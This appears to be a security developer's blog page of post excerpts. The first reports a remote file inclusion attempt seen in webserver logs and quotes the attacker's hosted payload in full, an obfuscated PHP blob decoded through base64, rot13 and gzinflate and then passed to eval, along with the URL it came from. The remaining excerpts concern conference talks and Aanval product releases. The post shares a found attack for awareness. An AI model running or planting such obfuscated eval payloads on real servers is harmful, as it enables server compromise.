Loyal Moses

Well, I thought this to be a humorous find in the webserver logs on a Monday afternoon. It was an attempt to remotely load the following URL on the Aanval.com primary domain: http://oubkhammuseum.com/templates/idvop.txt The content of the URL (in the event is gets pulled): [code lang="php"]$vopcrew = "pZLNd8MwEITvgbyDIgyWIZT059Q0xdBYYg30TRCOvIpIecl15cYh5N0ryWTSUCCH3sTMzrfDosQg TJF8/b7mH5/L6QRRcgj9TLRi9mT3srGv9CwafEEMjk0immVSSBnfgLDtR0OgdMHJxtTF8spnIjstn DKaxDkJ2cGnLYQOduonlCR5Blrr9oMdfCXZGOPQK2fIRehOpNHNwzMOzwMoLD4Bv43SjH52bTaOvk eNYw2IFdQ1v2BCjPyiD4VhQ/booDkVMxuOrrCOhUM+S3TIyPdQW2NcGO1Ae1Gc9SLokosaCs1hrHk LUUrZ7urS0fz32lwh90TTTAEskQHRmhb0Y2t3dvb3dzR8il2ld2CzXIKRPpJy5ECif+fD0k9EbWh+ v2trypbkGMqK2mCgx9VeseA6q3AoKL8="; eval(gzinflate(str_rot13(base64_decode($vopcrew)))); exit;[/code] [...]

Speaking at this springs IVNUA conference. Done. Saw a lot of familiar faces and met another fine group of people. After 6 hours of speaking on only 3 hours of sleep the night before, the pipes were a little tired and it was nice to wrap up the day, however as always it was a [...]

Thursday I will be in Chicago speaking on security at this springs Illinois Valley Network Users Association conference. The course schedule - http://www.ivnua.org/spring2009%20schedule.htm The IVNUA conference is always a pleasure to speak at and I look forward to seeing those familiar faces in the front row. I haven’t kept track, but this might be the 6th [...]

I am under some serious time constraints here as of lately, as I prepare for this springs IVNUA conference next week along with continued development on Aanval and liveSnort. I’ll be posting the presentations for the 3 security sessions online shortly. In addition, this weekend is shaping up to be an exciting roller coaster as [...]

FYI: As of version 4.1 Aanval is now a part of Tactical FLEX and no longer Remote Assessment. Aanval 4.2 was recently released (Friday AM) and includes several major changes that fit the new ownership. See the release notes @ http://www.aanval.com/ for specifics. Users of course will notice the new look / feel, which is [...]